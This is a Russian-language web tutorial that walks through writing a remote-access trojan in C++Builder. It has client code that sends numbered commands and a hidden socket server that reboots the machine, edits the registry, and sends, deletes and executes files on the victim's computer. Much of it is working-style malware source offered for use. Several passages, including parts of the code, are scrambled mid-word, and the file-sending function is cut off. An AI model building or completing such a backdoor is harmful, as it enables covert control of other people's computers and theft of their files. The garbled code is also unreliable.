Приветствую Вас ГостьСуббота, 18.05.2024, 19:41

Light Midnight Inc.


Каталог статей

Главная » Статьи » Программирование » С/С++/MFC

Пишем свего Трояна

1) читать, удалять, запускать файлы на удаленном компьютере 
2) работать с реестром на удаленном компьютере

3) ну и традиционный набор разных бесполезных функций, типа открытие CD-ROM'a, смена клавишей мышки etc.

Перекурили и поехали!
Использовать будем стандартные компоненты
TClientSocket и TServerSocket.

Начнем с клиента. Набрасываем простенький интерфейс и приступаем к
реализации. Управлять удаленным компьютером будем с помощью специальных команд.
Для примера пускай структура их будет такая:
Nпараметры. N - цифра. Каждому
действию присвоен свой код. Т.е. например 1 - перезагрузка, 2 - чтение файла и
т.д. Главное чтоб было однозначное соответствие между тем что хотим сделать
нды
на сервере). С этим разобрались. Теперь параметры. Бывает мало передать толь
(команда передаваемая клиентом) и тем что выполняет программа (обработка ком
ако
номер команды. Конечно, чтобы перезагрузить компьютер никаких параметров не надо
овать удаление файла не передавая параметра? Мы передаем команду на
удаление фа
(хотя можно и здесь передать параметры в функцию перезагрузки), но как например
реали
зйла, но какого?! Для этого будем использовать параметры. В качестве
параметра в данном случае будет передаваться имя файла. Бывает, что мало
тся друг от
друга комбинацией "\r\n" - перевод каретки. Объясняется данная с
передать один параметр. Например надо прочитать n-строчек из file.txt. Здесь
необходимо передать 2 параметра. В нашем примере параметры отделя
ютруктура тем,
что в сервере мы сначала помещаем полученную команду в TStringList и потом можем
спокойно обращаться к любой строчке этого TStringList'а через свойство
Strings[i], где i-номер строчки, а соответственно и номер параметра. В общем,
это вещи достаточно очевидные.

Вот так, вроде бы только начав писать клиентскую часть мы ее уже
почти и закончили! Ведь на самом деле ничего кроме отсылки команд и приема
ответов от сервера она делать и не должна. Для приема ответов просто создадим
поле TMemo и добавим обработчик события OnRead нашего компонента
TClientSocket:

void __fastcall TForm1::TrojControllerRead(TObject *Sender,
TCustomWinSocket *Socket)
{
ext());
}
Memo2->Lines->Add(Socket->Receive
T

Вот и все. Клиент законен! Переходим к серверу...

Сервер будет чуть пообъемнее. Вначале определимся с задачами:

1) получение команд
2) их обработка и выполнение соответствующих
действий
3) отсылка ответа клиенту (должны же мы знать что происходит на
сервере)
Реализуем...

Во-первых, никакого визуального оформления естественно не будет =)
Поэтому на форму поместим только 1 компонент: TServerSocket.
Инициализацию его проведем в функции FormCreate(). Хотя можно было бы просто
прописать 2 параметра в Object Inspector'е. Но раз уж сделали, так сделали =)

void __fastcall TForm1::FormCreate(TObject *Sender)
{
// ServSckt - наш компонент TServerSocket
ServSckt->Port = 4321;
ServSckt->Active = true;
}

Итак, указали порт, активизировали сокет. Теперь обрабатываем
событие ClientRead, т.е. получение данных сокетом. Комментирую на
примере:

void __fastcall TForm1::ServScktClientRead(TObject *Sender,
TCustomWinSocket *Socket)
{
RecCommand(Socket->ReceiveText());
}
void TForm1::RecCommand (String received)
{
int cn;
TTrojanUtilites Utilz;
Utilz.Sock=ServSckt;
String temp;
temp=received;
temp.Delete(2,temp.Length());
cn = StrToInt(temp);
received.Delete(1,1);
switch (cn) {
case 1 : Utilz.RestartMachine(); break;
case 2 : Utilz.WriteRegistry(received); break;
case 3 : Utilz.ReadRegistry(received); break;
case 4 : Utilz.SendFile(received); break;
case 5 : Utilz.DeleteFile(received); break;
case 6 : Utilz.ExecuteFile(received); break;
case 7 : Utilz.OpenCloseCD; break;
case 8 : Utilz.HideMouse(); break;
case 9 : Utilz.SwapMouseButtons(); break;
default:
SendMsgToClient("Неправильная команда!") ; 
}
}

Теперь немного подробнее. Мы пишем специальный класс
TTrojanUtilites, в котором реализуем все необходимые функции. В
RecognizeCommand (String Directive) мы только отделяем команду от параметров и
запускаем необходимые методы TTrojanUtilites, передавая по необходимости в них
параметры.

Реализация TTrojanUtilites есть то, чем мы сейчас займемся. Класс
оформим в отдельном модуле, не забудьте подключить его.

Поехали... Во-первых, подключаем #include <MMSystem.hpp> -
необходимо для реализации работы с CD-ROM'ом. Далее пишем все необходимые
методы.

Краткие комментарии на примере:

void TTrojanUtilites::OpenCloseCD()
{
TMCI_Open_Parms OpenParm;

TMCI_Set_Parms SetParm;
Car
TMCI_Generic_Parms GenParm
;dinal DI;
Callback = 0;
OpenParm.d
w
penParm.lpstrDeviceType = "CDAudio";

O
ciSendCommand(0, MCI_OPEN, MCI_OPEN_TYPE, Longint(&OpenParm));

mDI = OpenParm.wDeviceID;
if (!CDROMOPEN)
{
mciSendCommand(DI, MCI_SET, MCI_SET_DOOR_OPEN, Longint(&SetParm));
CDROMOPEN = true; // открыть
}
else
{
mciSendCommand(DI, MCI_SET, MCI_SET_DOOR_CLOSED, Longint(&SetParm));
CDROMOPEN = false; // закрыть
}
mciSendCommand(DI, MCI_CLOSE, MCI_NOTIFY, Longint(&GenParm));
Sock->Socket->Connections[0]->SendText("Выполнено открытие/закрытие CD-ROM");
}

Перезагрузка:

void TTrojanUtilites::RestartMachine()
{
if (ExitWindowsEx(EWX_FORCE,0) || ExitWindowsEx(EWX_REBOOT,0));
Sock->Socket->Connections[0]->SendText("Перезагрузка успешно выполнена.");
}

Вот тут я не отвечаю за все ОСи, перезагрузка-то будет, но хотелось
бы сделать ее как после нажатия кнопки RESET, а так будет послано сообщение
WM_...ENDSESSION etc. Короче, пробуйте сами. Могу только подкинуть основные
ystemShutdown() и AbortSystemShutdown(). Для особо продвинутых могу
направления поиска: смотри функции ExitWindows(), ExitWindowsEx(),
Initiate
S
предложить вариант написать надежный ребут под определенную ось и чипсет =)
о) следующей вставочкой:
Например, мой прошлый комп стабильно резетился (только в Win9x, в NT не
работа
л

mov dx,0cf9h
mov al,2
mov al,6
out dx,al
out dx,al

Откуда цифры? Читайте доки по чипсету =) Одним словом,
универсального метода перезагрузить комп без WM_...ENDSESSION я не знаю. Если вы
знаете - напишите пару строк, не в падлу =)

void TTrojanUtilites::SendFile(String F)
{
tringList* TTSL=new (TStringList);
T
S
StringList* TTSL2=new (TStringList);

T
int n, i;
TTSL->Text = F;
if (!FileExists(TTSL->Strings[0]))
{
Sock->Socket->Connections[0]->SendText("Файл не существует.");
return;
}

Категория: С/С++/MFC | Добавил: Cromartie (31.01.2013)
Просмотров: 475 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Наш опрос
Оцените мой сайт
Всего ответов: 542
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Реклама
Cheсking
Часы
Мини-чат
200
Друзья Сайта
  • Light Midnight - Ваша Еда
  • Light Midnight - Anim as life style
  • Поиск